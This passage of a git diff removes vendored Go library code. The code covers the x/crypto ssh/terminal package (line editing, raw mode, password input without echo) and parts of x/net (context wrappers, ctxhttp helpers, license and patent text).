ReadLine() (line string, err error) { - t.lock.Lock() - defer t.lock.Unlock() - - return t.readLine() -} - -func (t *Terminal) readLine() (line string, err error) { - // t.lock must be held at this point - - if t.cursorX == 0 && t.cursorY == 0 { - t.writeLine(t.prompt) - t.c.Write(t.outBuf) - t.outBuf = t.outBuf[:0] - } - - lineIsPasted := t.pasteActive - - for { - rest := t.remainder - lineOk := false - for !lineOk { - var key rune - key, rest = bytesToKey(rest, t.pasteActive) - if key == utf8.RuneError { - break - } - if !t.pasteActive { - if key == keyCtrlD { - if len(t.line) == 0 { - return "", io.EOF - } - } - if key == keyPasteStart { - t.pasteActive = true - if len(t.line) == 0 { - lineIsPasted = true - } - continue - } - } else if key == keyPasteEnd { - t.pasteActive = false - continue - } - if !t.pasteActive { - lineIsPasted = false - } - line, lineOk = t.handleKey(key) - } - if len(rest) > 0 { - n := copy(t.inBuf[:], rest) - t.remainder = t.inBuf[:n] - } else { - t.remainder = nil - } - t.c.Write(t.outBuf) - t.outBuf = t.outBuf[:0] - if lineOk { - if t.echo { - t.historyIndex = -1 - t.history.Add(line) - } - if lineIsPasted { - err = ErrPasteIndicator - } - return - } - - // t.remainder is a slice at the beginning of t.inBuf - // containing a partial key sequence - readBuf := t.inBuf[len(t.remainder):] - var n int - - t.lock.Unlock() - n, err = t.c.Read(readBuf) - t.lock.Lock() - - if err != nil { - return - } - - t.remainder = t.inBuf[:n+len(t.remainder)] - } -} - -// SetPrompt sets the prompt to be used when reading subsequent lines. -func (t *Terminal) SetPrompt(prompt string) { - t.lock.Lock() - defer t.lock.Unlock() - - t.prompt = []rune(prompt) -} - -func (t *Terminal) clearAndRepaintLinePlusNPrevious(numPrevLines int) { - // Move cursor to column zero at the start of the line. - t.move(t.cursorY, 0, t.cursorX, 0) - t.cursorX, t.cursorY = 0, 0 - t.clearLineToRight() - for t.cursorY < numPrevLines { - // Move down a line - t.move(0, 1, 0, 0) - t.cursorY++ - t.clearLineToRight() - } - // Move back to beginning. - t.move(t.cursorY, 0, 0, 0) - t.cursorX, t.cursorY = 0, 0 - - t.queue(t.prompt) - t.advanceCursor(visualLength(t.prompt)) - t.writeLine(t.line) - t.moveCursorToPos(t.pos) -} - -func (t *Terminal) SetSize(width, height int) error { - t.lock.Lock() - defer t.lock.Unlock() - - if width == 0 { - width = 1 - } - - oldWidth := t.termWidth - t.termWidth, t.termHeight = width, height - - switch { - case width == oldWidth: - // If the width didn't change then nothing else needs to be - // done. - return nil - case len(t.line) == 0 && t.cursorX == 0 && t.cursorY == 0: - // If there is nothing on current line and no prompt printed, - // just do nothing - return nil - case width < oldWidth: - // Some terminals (e.g. xterm) will truncate lines that were - // too long when shinking. Others, (e.g. gnome-terminal) will - // attempt to wrap them. For the former, repainting t.maxLine - // works great, but that behaviour goes badly wrong in the case - // of the latter because they have doubled every full line. - - // We assume that we are working on a terminal that wraps lines - // and adjust the cursor position based on every previous line - // wrapping and turning into two. This causes the prompt on - // xterms to move upwards, which isn't great, but it avoids a - // huge mess with gnome-terminal. - if t.cursorX >= t.termWidth { - t.cursorX = t.termWidth - 1 - } - t.cursorY *= 2 - t.clearAndRepaintLinePlusNPrevious(t.maxLine * 2) - case width > oldWidth: - // If the terminal expands then our position calculations will - // be wrong in the future because we think the cursor is - // |t.pos| chars into the string, but there will be a gap at - // the end of any wrapped line. - // - // But the position will actually be correct until we move, so - // we can move back to the beginning and repaint everything. - t.clearAndRepaintLinePlusNPrevious(t.maxLine) - } - - _, err := t.c.Write(t.outBuf) - t.outBuf = t.outBuf[:0] - return err -} - -type pasteIndicatorError struct{} - -func (pasteIndicatorError) Error() string { - return "terminal: ErrPasteIndicator not correctly handled" -} - -// ErrPasteIndicator may be returned from ReadLine as the error, in addition -// to valid line data. It indicates that bracketed paste mode is enabled and -// that the returned line consists only of pasted data. Programs may wish to -// interpret pasted data more literally than typed data. -var ErrPasteIndicator = pasteIndicatorError{} - -// SetBracketedPasteMode requests that the terminal bracket paste operations -// with markers. Not all terminals support this but, if it is supported, then -// enabling this mode will stop any autocomplete callback from running due to -// pastes. Additionally, any lines that are completely pasted will be returned -// from ReadLine with the error set to ErrPasteIndicator. -func (t *Terminal) SetBracketedPasteMode(on bool) { - if on { - io.WriteString(t.c, "\x1b[?2004h") - } else { - io.WriteString(t.c, "\x1b[?2004l") - } -} - -// stRingBuffer is a ring buffer of strings. -type stRingBuffer struct { - // entries contains max elements. - entries []string - max int - // head contains the index of the element most recently added to the ring. - head int - // size contains the number of elements in the ring. - size int -} - -func (s *stRingBuffer) Add(a string) { - if s.entries == nil { - const defaultNumEntries = 100 - s.entries = make([]string, defaultNumEntries) - s.max = defaultNumEntries - } - - s.head = (s.head + 1) % s.max - s.entries[s.head] = a - if s.size < s.max { - s.size++ - } -} - -// NthPreviousEntry returns the value passed to the nth previous call to Add. -// If n is zero then the immediately prior value is returned, if one, then the -// next most recent, and so on. If such an element doesn't exist then ok is -// false. -func (s *stRingBuffer) NthPreviousEntry(n int) (value string, ok bool) { - if n >= s.size { - return "", false - } - index := s.head - n - if index < 0 { - index += s.max - } - return s.entries[index], true -} - -// readPasswordLine reads from reader until it finds \n or io.EOF. -// The slice returned does not include the \n. -// readPasswordLine also ignores any \r it finds. -// Windows uses \r as end of line. So, on Windows, readPasswordLine -// reads until it finds \r and ignores any \n it finds during processing. -func readPasswordLine(reader io.Reader) ([]byte, error) { - var buf [1]byte - var ret []byte - - for { - n, err := reader.Read(buf[:]) - if n > 0 { - switch buf[0] { - case '\b': - if len(ret) > 0 { - ret = ret[:len(ret)-1] - } - case '\n': - if runtime.GOOS != "windows" { - return ret, nil - } - // otherwise ignore \n - case '\r': - if runtime.GOOS == "windows" { - return ret, nil - } - // otherwise ignore \r - default: - ret = append(ret, buf[0]) - } - continue - } - if err != nil { - if err == io.EOF && len(ret) > 0 { - return ret, nil - } - return ret, err - } - } -} diff --git a/vendor/golang.org/x/crypto/ssh/terminal/util.go b/vendor/golang.org/x/crypto/ssh/terminal/util.go deleted file mode 100644 index 3911040840..0000000000 --- a/vendor/golang.org/x/crypto/ssh/terminal/util.go +++ /dev/null @@ -1,114 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build aix darwin dragonfly freebsd linux,!appengine netbsd openbsd - -// Package terminal provides support functions for dealing with terminals, as -// commonly found on UNIX systems. -// -// Putting a terminal into raw mode is the most common requirement: -// -// oldState, err := terminal.MakeRaw(0) -// if err != nil { -// panic(err) -// } -// defer terminal.Restore(0, oldState) -package terminal // import "golang.org/x/crypto/ssh/terminal" - -import ( - "golang.org/x/sys/unix" -) - -// State contains the state of a terminal. -type State struct { - termios unix.Termios -} - -// IsTerminal returns whether the given file descriptor is a terminal. -func IsTerminal(fd int) bool { - _, err := unix.IoctlGetTermios(fd, ioctlReadTermios) - return err == nil -} - -// MakeRaw put the terminal connected to the given file descriptor into raw -// mode and returns the previous state of the terminal so that it can be -// restored. -func MakeRaw(fd int) (*State, error) { - termios, err := unix.IoctlGetTermios(fd, ioctlReadTermios) - if err != nil { - return nil, err - } - - oldState := State{termios: *termios} - - // This attempts to replicate the behaviour documented for cfmakeraw in - // the termios(3) manpage. - termios.Iflag &^= unix.IGNBRK | unix.BRKINT | unix.PARMRK | unix.ISTRIP | unix.INLCR | unix.IGNCR | unix.ICRNL | unix.IXON - termios.Oflag &^= unix.OPOST - termios.Lflag &^= unix.ECHO | unix.ECHONL | unix.ICANON | unix.ISIG | unix.IEXTEN - termios.Cflag &^= unix.CSIZE | unix.PARENB - termios.Cflag |= unix.CS8 - termios.Cc[unix.VMIN] = 1 - termios.Cc[unix.VTIME] = 0 - if err := unix.IoctlSetTermios(fd, ioctlWriteTermios, termios); err != nil { - return nil, err - } - - return &oldState, nil -} - -// GetState returns the current state of a terminal which may be useful to -// restore the terminal after a signal. -func GetState(fd int) (*State, error) { - termios, err := unix.IoctlGetTermios(fd, ioctlReadTermios) - if err != nil { - return nil, err - } - - return &State{termios: *termios}, nil -} - -// Restore restores the terminal connected to the given file descriptor to a -// previous state. -func Restore(fd int, state *State) error { - return unix.IoctlSetTermios(fd, ioctlWriteTermios, &state.termios) -} - -// GetSize returns the dimensions of the given terminal. -func GetSize(fd int) (width, height int, err error) { - ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ) - if err != nil { - return -1, -1, err - } - return int(ws.Col), int(ws.Row), nil -} - -// passwordReader is an io.Reader that reads from a specific file descriptor. -type passwordReader int - -func (r passwordReader) Read(buf []byte) (int, error) { - return unix.Read(int(r), buf) -} - -// ReadPassword reads a line of input from a terminal without local echo. This -// is commonly used for inputting passwords and other sensitive data. The slice -// returned does not include the \n. -func ReadPassword(fd int) ([]byte, error) { - termios, err := unix.IoctlGetTermios(fd, ioctlReadTermios) - if err != nil { - return nil, err - } - - newState := *termios - newState.Lflag &^= unix.ECHO - newState.Lflag |= unix.ICANON | unix.ISIG - newState.Iflag |= unix.ICRNL - if err := unix.IoctlSetTermios(fd, ioctlWriteTermios, &newState); err != nil { - return nil, err - } - - defer unix.IoctlSetTermios(fd, ioctlWriteTermios, termios) - - return readPasswordLine(passwordReader(fd)) -} diff --git a/vendor/golang.org/x/crypto/ssh/terminal/util_aix.go b/vendor/golang.org/x/crypto/ssh/terminal/util_aix.go deleted file mode 100644 index dfcd627859..0000000000 --- a/vendor/golang.org/x/crypto/ssh/terminal/util_aix.go +++ /dev/null @@ -1,12 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build aix - -package terminal - -import "golang.org/x/sys/unix" - -const ioctlReadTermios = unix.TCGETS -const ioctlWriteTermios = unix.TCSETS diff --git a/vendor/golang.org/x/crypto/ssh/terminal/util_bsd.go b/vendor/golang.org/x/crypto/ssh/terminal/util_bsd.go deleted file mode 100644 index cb23a59049..0000000000 --- a/vendor/golang.org/x/crypto/ssh/terminal/util_bsd.go +++ /dev/null @@ -1,12 +0,0 @@ -// Copyright 2013 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build darwin dragonfly freebsd netbsd openbsd - -package terminal - -import "golang.org/x/sys/unix" - -const ioctlReadTermios = unix.TIOCGETA -const ioctlWriteTermios = unix.TIOCSETA diff --git a/vendor/golang.org/x/crypto/ssh/terminal/util_linux.go b/vendor/golang.org/x/crypto/ssh/terminal/util_linux.go deleted file mode 100644 index 5fadfe8a1d..0000000000 --- a/vendor/golang.org/x/crypto/ssh/terminal/util_linux.go +++ /dev/null @@ -1,10 +0,0 @@ -// Copyright 2013 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package terminal - -import "golang.org/x/sys/unix" - -const ioctlReadTermios = unix.TCGETS -const ioctlWriteTermios = unix.TCSETS diff --git a/vendor/golang.org/x/crypto/ssh/terminal/util_plan9.go b/vendor/golang.org/x/crypto/ssh/terminal/util_plan9.go deleted file mode 100644 index 9317ac7ede..0000000000 --- a/vendor/golang.org/x/crypto/ssh/terminal/util_plan9.go +++ /dev/null @@ -1,58 +0,0 @@ -// Copyright 2016 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package terminal provides support functions for dealing with terminals, as -// commonly found on UNIX systems. -// -// Putting a terminal into raw mode is the most common requirement: -// -// oldState, err := terminal.MakeRaw(0) -// if err != nil { -// panic(err) -// } -// defer terminal.Restore(0, oldState) -package terminal - -import ( - "fmt" - "runtime" -) - -type State struct{} - -// IsTerminal returns whether the given file descriptor is a terminal. -func IsTerminal(fd int) bool { - return false -} - -// MakeRaw put the terminal connected to the given file descriptor into raw -// mode and returns the previous state of the terminal so that it can be -// restored. -func MakeRaw(fd int) (*State, error) { - return nil, fmt.Errorf("terminal: MakeRaw not implemented on %s/%s", runtime.GOOS, runtime.GOARCH) -} - -// GetState returns the current state of a terminal which may be useful to -// restore the terminal after a signal. -func GetState(fd int) (*State, error) { - return nil, fmt.Errorf("terminal: GetState not implemented on %s/%s", runtime.GOOS, runtime.GOARCH) -} - -// Restore restores the terminal connected to the given file descriptor to a -// previous state. -func Restore(fd int, state *State) error { - return fmt.Errorf("terminal: Restore not implemented on %s/%s", runtime.GOOS, runtime.GOARCH) -} - -// GetSize returns the dimensions of the given terminal. -func GetSize(fd int) (width, height int, err error) { - return 0, 0, fmt.Errorf("terminal: GetSize not implemented on %s/%s", runtime.GOOS, runtime.GOARCH) -} - -// ReadPassword reads a line of input from a terminal without local echo. This -// is commonly used for inputting passwords and other sensitive data. The slice -// returned does not include the \n. -func ReadPassword(fd int) ([]byte, error) { - return nil, fmt.Errorf("terminal: ReadPassword not implemented on %s/%s", runtime.GOOS, runtime.GOARCH) -} diff --git a/vendor/golang.org/x/crypto/ssh/terminal/util_solaris.go b/vendor/golang.org/x/crypto/ssh/terminal/util_solaris.go deleted file mode 100644 index 3d5f06a9f0..0000000000 --- a/vendor/golang.org/x/crypto/ssh/terminal/util_solaris.go +++ /dev/null @@ -1,124 +0,0 @@ -// Copyright 2015 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build solaris - -package terminal // import "golang.org/x/crypto/ssh/terminal" - -import ( - "golang.org/x/sys/unix" - "io" - "syscall" -) - -// State contains the state of a terminal. -type State struct { - termios unix.Termios -} - -// IsTerminal returns whether the given file descriptor is a terminal. -func IsTerminal(fd int) bool { - _, err := unix.IoctlGetTermio(fd, unix.TCGETA) - return err == nil -} - -// ReadPassword reads a line of input from a terminal without local echo. This -// is commonly used for inputting passwords and other sensitive data. The slice -// returned does not include the \n. -func ReadPassword(fd int) ([]byte, error) { - // see also: http://src.illumos.org/source/xref/illumos-gate/usr/src/lib/libast/common/uwin/getpass.c - val, err := unix.IoctlGetTermios(fd, unix.TCGETS) - if err != nil { - return nil, err - } - oldState := *val - - newState := oldState - newState.Lflag &^= syscall.ECHO - newState.Lflag |= syscall.ICANON | syscall.ISIG - newState.Iflag |= syscall.ICRNL - err = unix.IoctlSetTermios(fd, unix.TCSETS, &newState) - if err != nil { - return nil, err - } - - defer unix.IoctlSetTermios(fd, unix.TCSETS, &oldState) - - var buf [16]byte - var ret []byte - for { - n, err := syscall.Read(fd, buf[:]) - if err != nil { - return nil, err - } - if n == 0 { - if len(ret) == 0 { - return nil, io.EOF - } - break - } - if buf[n-1] == '\n' { - n-- - } - ret = append(ret, buf[:n]...) - if n < len(buf) { - break - } - } - - return ret, nil -} - -// MakeRaw puts the terminal connected to the given file descriptor into raw -// mode and returns the previous state of the terminal so that it can be -// restored. -// see http://cr.illumos.org/~webrev/andy_js/1060/ -func MakeRaw(fd int) (*State, error) { - termios, err := unix.IoctlGetTermios(fd, unix.TCGETS) - if err != nil { - return nil, err - } - - oldState := State{termios: *termios} - - termios.Iflag &^= unix.IGNBRK | unix.BRKINT | unix.PARMRK | unix.ISTRIP | unix.INLCR | unix.IGNCR | unix.ICRNL | unix.IXON - termios.Oflag &^= unix.OPOST - termios.Lflag &^= unix.ECHO | unix.ECHONL | unix.ICANON | unix.ISIG | unix.IEXTEN - termios.Cflag &^= unix.CSIZE | unix.PARENB - termios.Cflag |= unix.CS8 - termios.Cc[unix.VMIN] = 1 - termios.Cc[unix.VTIME] = 0 - - if err := unix.IoctlSetTermios(fd, unix.TCSETS, termios); err != nil { - return nil, err - } - - return &oldState, nil -} - -// Restore restores the terminal connected to the given file descriptor to a -// previous state. -func Restore(fd int, oldState *State) error { - return unix.IoctlSetTermios(fd, unix.TCSETS, &oldState.termios) -} - -// GetState returns the current state of a terminal which may be useful to -// restore the terminal after a signal. -func GetState(fd int) (*State, error) { - termios, err := unix.IoctlGetTermios(fd, unix.TCGETS) - if err != nil { - return nil, err - } - - return &State{termios: *termios}, nil -} - -// GetSize returns the dimensions of the given terminal. -func GetSize(fd int) (width, height int, err error) { - ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ) - if err != nil { - return 0, 0, err - } - return int(ws.Col), int(ws.Row), nil -} diff --git a/vendor/golang.org/x/crypto/ssh/terminal/util_windows.go b/vendor/golang.org/x/crypto/ssh/terminal/util_windows.go deleted file mode 100644 index f614e9cb60..0000000000 --- a/vendor/golang.org/x/crypto/ssh/terminal/util_windows.go +++ /dev/null @@ -1,105 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build windows - -// Package terminal provides support functions for dealing with terminals, as -// commonly found on UNIX systems. -// -// Putting a terminal into raw mode is the most common requirement: -// -// oldState, err := terminal.MakeRaw(0) -// if err != nil { -// panic(err) -// } -// defer terminal.Restore(0, oldState) -package terminal - -import ( - "os" - - "golang.org/x/sys/windows" -) - -type State struct { - mode uint32 -} - -// IsTerminal returns whether the given file descriptor is a terminal. -func IsTerminal(fd int) bool { - var st uint32 - err := windows.GetConsoleMode(windows.Handle(fd), &st) - return err == nil -} - -// MakeRaw put the terminal connected to the given file descriptor into raw -// mode and returns the previous state of the terminal so that it can be -// restored. -func MakeRaw(fd int) (*State, error) { - var st uint32 - if err := windows.GetConsoleMode(windows.Handle(fd), &st); err != nil { - return nil, err - } - raw := st &^ (windows.ENABLE_ECHO_INPUT | windows.ENABLE_PROCESSED_INPUT | windows.ENABLE_LINE_INPUT | windows.ENABLE_PROCESSED_OUTPUT) - if err := windows.SetConsoleMode(windows.Handle(fd), raw); err != nil { - return nil, err - } - return &State{st}, nil -} - -// GetState returns the current state of a terminal which may be useful to -// restore the terminal after a signal. -func GetState(fd int) (*State, error) { - var st uint32 - if err := windows.GetConsoleMode(windows.Handle(fd), &st); err != nil { - return nil, err - } - return &State{st}, nil -} - -// Restore restores the terminal connected to the given file descriptor to a -// previous state. -func Restore(fd int, state *State) error { - return windows.SetConsoleMode(windows.Handle(fd), state.mode) -} - -// GetSize returns the visible dimensions of the given terminal. -// -// These dimensions don't include any scrollback buffer height. -func GetSize(fd int) (width, height int, err error) { - var info windows.ConsoleScreenBufferInfo - if err := windows.GetConsoleScreenBufferInfo(windows.Handle(fd), &info); err != nil { - return 0, 0, err - } - return int(info.Window.Right - info.Window.Left + 1), int(info.Window.Bottom - info.Window.Top + 1), nil -} - -// ReadPassword reads a line of input from a terminal without local echo. This -// is commonly used for inputting passwords and other sensitive data. The slice -// returned does not include the \n. -func ReadPassword(fd int) ([]byte, error) { - var st uint32 - if err := windows.GetConsoleMode(windows.Handle(fd), &st); err != nil { - return nil, err - } - old := st - - st &^= (windows.ENABLE_ECHO_INPUT | windows.ENABLE_LINE_INPUT) - st |= (windows.ENABLE_PROCESSED_OUTPUT | windows.ENABLE_PROCESSED_INPUT) - if err := windows.SetConsoleMode(windows.Handle(fd), st); err != nil { - return nil, err - } - - defer windows.SetConsoleMode(windows.Handle(fd), old) - - var h windows.Handle - p, _ := windows.GetCurrentProcess() - if err := windows.DuplicateHandle(p, windows.Handle(fd), p, &h, 0, false, windows.DUPLICATE_SAME_ACCESS); err != nil { - return nil, err - } - - f := os.NewFile(uintptr(h), "stdin") - defer f.Close() - return readPasswordLine(f) -} diff --git a/vendor/golang.org/x/net/AUTHORS b/vendor/golang.org/x/net/AUTHORS deleted file mode 100644 index 15167cd746..0000000000 --- a/vendor/golang.org/x/net/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at http://tip.golang.org/AUTHORS. diff --git a/vendor/golang.org/x/net/CONTRIBUTORS b/vendor/golang.org/x/net/CONTRIBUTORS deleted file mode 100644 index 1c4577e968..0000000000 --- a/vendor/golang.org/x/net/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at http://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/golang.org/x/net/LICENSE b/vendor/golang.org/x/net/LICENSE deleted file mode 100644 index 6a66aea5ea..0000000000 --- a/vendor/golang.org/x/net/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2009 The Go Authors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/golang.org/x/net/PATENTS b/vendor/golang.org/x/net/PATENTS deleted file mode 100644 index 733099041f..0000000000 --- a/vendor/golang.org/x/net/PATENTS +++ /dev/null @@ -1,22 +0,0 @@ -Additional IP Rights Grant (Patents) - -"This implementation" means the copyrightable works distributed by -Google as part of the Go project. - -Google hereby grants to You a perpetual, worldwide, non-exclusive, -no-charge, royalty-free, irrevocable (except as stated in this section) -patent license to make, have made, use, offer to sell, sell, import, -transfer and otherwise run, modify and propagate the contents of this -implementation of Go, where such license applies only to those patent -claims, both currently owned or controlled by Google and acquired in -the future, licensable by Google that are necessarily infringed by this -implementation of Go. This grant does not include claims that would be -infringed only as a consequence of further modification of this -implementation. If you or your agent or exclusive licensee institute or -order or agree to the institution of patent litigation against any -entity (including a cross-claim or counterclaim in a lawsuit) alleging -that this implementation of Go or any code incorporated within this -implementation of Go constitutes direct or contributory patent -infringement, or inducement of patent infringement, then any patent -rights granted to you under this License for this implementation of Go -shall terminate as of the date such litigation is filed. diff --git a/vendor/golang.org/x/net/context/context.go b/vendor/golang.org/x/net/context/context.go deleted file mode 100644 index a3c021d3f8..0000000000 --- a/vendor/golang.org/x/net/context/context.go +++ /dev/null @@ -1,56 +0,0 @@ -// Copyright 2014 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package context defines the Context type, which carries deadlines, -// cancelation signals, and other request-scoped values across API boundaries -// and between processes. -// As of Go 1.7 this package is available in the standard library under the -// name context. https://golang.org/pkg/context. -// -// Incoming requests to a server should create a Context, and outgoing calls to -// servers should accept a Context. The chain of function calls between must -// propagate the Context, optionally replacing it with a modified copy created -// using WithDeadline, WithTimeout, WithCancel, or WithValue. -// -// Programs that use Contexts should follow these rules to keep interfaces -// consistent across packages and enable static analysis tools to check context -// propagation: -// -// Do not store Contexts inside a struct type; instead, pass a Context -// explicitly to each function that needs it. The Context should be the first -// parameter, typically named ctx: -// -// func DoSomething(ctx context.Context, arg Arg) error { -// // ... use ctx ... -// } -// -// Do not pass a nil Context, even if a function permits it. Pass context.TODO -// if you are unsure about which Context to use. -// -// Use context Values only for request-scoped data that transits processes and -// APIs, not for passing optional parameters to functions. -// -// The same Context may be passed to functions running in different goroutines; -// Contexts are safe for simultaneous use by multiple goroutines. -// -// See http://blog.golang.org/context for example code for a server that uses -// Contexts. -package context // import "golang.org/x/net/context" - -// Background returns a non-nil, empty Context. It is never canceled, has no -// values, and has no deadline. It is typically used by the main function, -// initialization, and tests, and as the top-level Context for incoming -// requests. -func Background() Context { - return background -} - -// TODO returns a non-nil, empty Context. Code should use context.TODO when -// it's unclear which Context to use or it is not yet available (because the -// surrounding function has not yet been extended to accept a Context -// parameter). TODO is recognized by static analysis tools that determine -// whether Contexts are propagated correctly in a program. -func TODO() Context { - return todo -} diff --git a/vendor/golang.org/x/net/context/ctxhttp/ctxhttp.go b/vendor/golang.org/x/net/context/ctxhttp/ctxhttp.go deleted file mode 100644 index 37dc0cfdb5..0000000000 --- a/vendor/golang.org/x/net/context/ctxhttp/ctxhttp.go +++ /dev/null @@ -1,71 +0,0 @@ -// Copyright 2016 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package ctxhttp provides helper functions for performing context-aware HTTP requests. -package ctxhttp // import "golang.org/x/net/context/ctxhttp" - -import ( - "context" - "io" - "net/http" - "net/url" - "strings" -) - -// Do sends an HTTP request with the provided http.Client and returns -// an HTTP response. -// -// If the client is nil, http.DefaultClient is used. -// -// The provided ctx must be non-nil. If it is canceled or times out, -// ctx.Err() will be returned. -func Do(ctx context.Context, client *http.Client, req *http.Request) (*http.Response, error) { - if client == nil { - client = http.DefaultClient - } - resp, err := client.Do(req.WithContext(ctx)) - // If we got an error, and the context has been canceled, - // the context's error is probably more useful. - if err != nil { - select { - case <-ctx.Done(): - err = ctx.Err() - default: - } - } - return resp, err -} - -// Get issues a GET request via the Do function. -func Get(ctx context.Context, client *http.Client, url string) (*http.Response, error) { - req, err := http.NewRequest("GET", url, nil) - if err != nil { - return nil, err - } - return Do(ctx, client, req) -} - -// Head issues a HEAD request via the Do function. -func Head(ctx context.Context, client *http.Client, url string) (*http.Response, error) { - req, err := http.NewRequest("HEAD", url, nil) - if err != nil { - return nil, err - } - return Do(ctx, client, req) -} - -// Post issues a POST request via the Do function. -func Post(ctx context.Context, client *http.Client, url string, bodyType string, body io.Reader) (*http.Response, error) { - req, err := http.NewRequest("POST", url, body) - if err != nil { - return nil, err - } - req.Header.Set("Content-Type", bodyType) - return Do(ctx, client, req) -} - -// PostForm issues a POST request via the Do function. -func PostForm(ctx context.Context, client *http.Client, url string, data url.Values) (*http.Response, error) { - return Post(ctx, client, url, "application/x-www-form-urlencoded", strings.NewReader(data.Encode())) -} diff --git a/vendor/golang.org/x/net/context/go17.go b/vendor/golang.org/x/net/context/go17.go deleted file mode 100644 index d20f52b7de..0000000000 --- a/vendor/golang.org/x/net/context/go17.go +++ /dev/null @@ -1,72 +0,0 @@ -// Copyright 2016 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build go1.7 - -package context - -import ( - "context" // standard library's context, as of Go 1.7 - "time" -) - -var ( - todo = context.TODO() - background = context.Background() -) - -// Canceled is the error returned by Context.Err when the context is canceled. -var Canceled = context.Canceled - -// DeadlineExceeded is the error returned by Context.Err when the context's -// deadline passes. -var DeadlineExceeded = context.DeadlineExceeded - -// WithCancel returns a copy of parent with a new Done channel. The returned -// context's Done channel is closed when the returned cancel function is called -// or when the parent context's Done channel is closed, whichever happens first. -// -// Canceling this context releases resources associated with it, so code should -// call cancel as soon as the operations running in this Context complete. -func WithCancel(parent Context) (ctx Context, cancel CancelFunc) { - ctx, f := context.WithCancel(parent) - return ctx, CancelFunc(f) -} - -// WithDeadline returns a copy of the parent context with the deadline adjusted -// to be no later than d. If the parent's deadline is already earlier than d, -// WithDeadline(parent, d) is semantically equivalent to parent. The returned -// context's Done channel is closed when the deadline expires, when the returned -// cancel function is called, or when the parent context's Done channel is -// closed, whichever happens first. -// -// Canceling this context releases resources associated with it, so code should -// call cancel as soon as the operations running in this Context complete. -func WithDeadline(parent Context, deadline time.Time) (Context, CancelFunc) { - ctx, f := context.WithDeadline(parent, deadline) - return ctx, CancelFunc(f) -} - -// WithTimeout returns WithDeadline(parent, time.Now().Add(timeout)). -// -// Canceling this context releases resources associated with it, so code should -// call cancel as soon as the operations running in this Context complete: -// -// func slowOperationWithTimeout(ctx context.Context) (Result, error) { -// ctx, cancel := context.WithTimeout(ctx, 100*time.Millisecond) -// defer cancel() // releases resources if slowOperation completes before timeout elapses -// return slowOperation(ctx) -// } -func WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc) { - return WithDeadline(parent, time.Now().Add(timeout)) -} - -// WithValue returns a copy of parent in which the value associated with key is -// val. -// -// Use context Values only for request-scoped data that transits processes and -// APIs, not for passing optional parameters to functions. -func WithValue(parent Context, key interface{}, val interface{}) Context { - return context.WithValue(parent, key, val) -} diff --git a/vendor/golang.org/x/net/context/go19.go b/vendor/golang.org/x/net/context/go19.go deleted file mode 100644 index d88bd1db12..0000000000 --- a/vendor/golang.org/x/net/context/go19.go +++ /dev/null @@ -1,20 +0,0 @@ -// Copyright 2017 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build go1.9 - -package context - -import "context" // standard library's context, as of Go 1.7 - -// A Context carries a deadline, a cancelation signal, and other values across -// API boundaries. -// -// Context's methods may be called by multiple goroutines simultaneously. -type Context = context.Context - -// A CancelFunc tells an operation to abandon its work. -// A CancelFunc does not wait for the work to stop. -// After the first call, subsequent calls to a CancelFunc do nothing. -type CancelFunc = context.CancelFunc diff --git a/vendor/golang.org/x/net/context/pre_go17.go b/vendor/golang.org/x/net/context/pre_go17.go deleted file mode 100644 index 0f35592df5..0000000000 --- a/vendor/golang.org/x/net/context/pre_go17.go +++ /dev/null @@ -1,300 +0,0 @@ -// Copyright 2014 The Go 